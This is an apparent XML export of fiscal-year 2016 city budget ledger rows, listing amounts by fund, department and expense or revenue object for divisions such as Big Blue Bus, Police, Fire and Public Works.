<row _id="19087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522544.0</object><object_description>GRAPHIC DESIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9000</total></row>
<row _id="19088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7140</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7140</total></row>
<row _id="19089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>36477</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36477</total></row>
<row _id="19090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402060.0</object><object_description>STA SALES TAX -OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-2948342</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2948342</total></row>
<row _id="19091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404220.0</object><object_description>OTHER OPER REV-MISCELLANEOUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-44000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-44000</total></row>
<row _id="19092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405820.0</object><object_description>PROP C - BSIP</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-782418</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-782418</total></row>
<row _id="19093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401230.0</object><object_description>COMMUNITY GARDENS RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-12000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12000</total></row>
<row _id="19094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555020.0</object><object_description>OUTSIDE SERVICE-SECURITY</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>489500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>489500</total></row>
<row _id="19095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578080.0</object><object_description>TRANSIT MALL MAINTENANCE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>103310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103310</total></row>
<row _id="19096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28665</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28665</total></row>
<row _id="19097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2171</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2171</total></row>
<row _id="19098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400220.0</object><object_description>MEMORIAL PARK GYM USER FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-21600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21600</total></row>
<row _id="19099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-88000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-88000</total></row>
<row _id="19100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>388159</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>388159</total></row>
<row _id="19101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1045</total></row>
<row _id="19102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7000</total></row>
<row _id="19103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>169</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>169</total></row>
<row _id="19104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>51000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51000</total></row>
<row _id="19105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>706131</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>706131</total></row>
<row _id="19106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14982</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14982</total></row>
<row _id="19107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6448</total></row>
<row _id="19108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26469</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26469</total></row>
<row _id="19109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="19110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>218803</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>218803</total></row>
<row _id="19112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>501917</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>501917</total></row>
<row _id="19113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>247242</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>247242</total></row>
<row _id="19114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8850</total></row>
<row _id="19115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>650016</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>650016</total></row>
<row _id="19116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>363779</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>363779</total></row>
<row _id="19117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>107866</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>107866</total></row>
<row _id="19118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1696410</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1696410</total></row>
<row _id="19119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>102341</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>102341</total></row>
<row _id="19120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4159</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4159</total></row>
<row _id="19121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>23871</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23871</total></row>
<row _id="19122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8409</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8409</total></row>
<row _id="19123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>540</total></row>
<row _id="19124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7650</total></row>
<row _id="19125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11000</total></row>
<row _id="19126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5500</total></row>
<row _id="19127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3263031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3263031</total></row>
<row _id="19128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12658</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12658</total></row>
<row _id="19129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1908</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1908</total></row>
<row _id="19130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400682.0</object><object_description>MEDICAL SUPPLIES REIMBURSEMENT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-88025</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-88025</total></row>
<row _id="19131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7319098</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7319098</total></row>
<row _id="19132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3062690</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3062690</total></row>
<row _id="19133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3617</total></row>
<row _id="19134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>200902</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200902</total></row>
<row _id="19135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>270875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>270875</total></row>
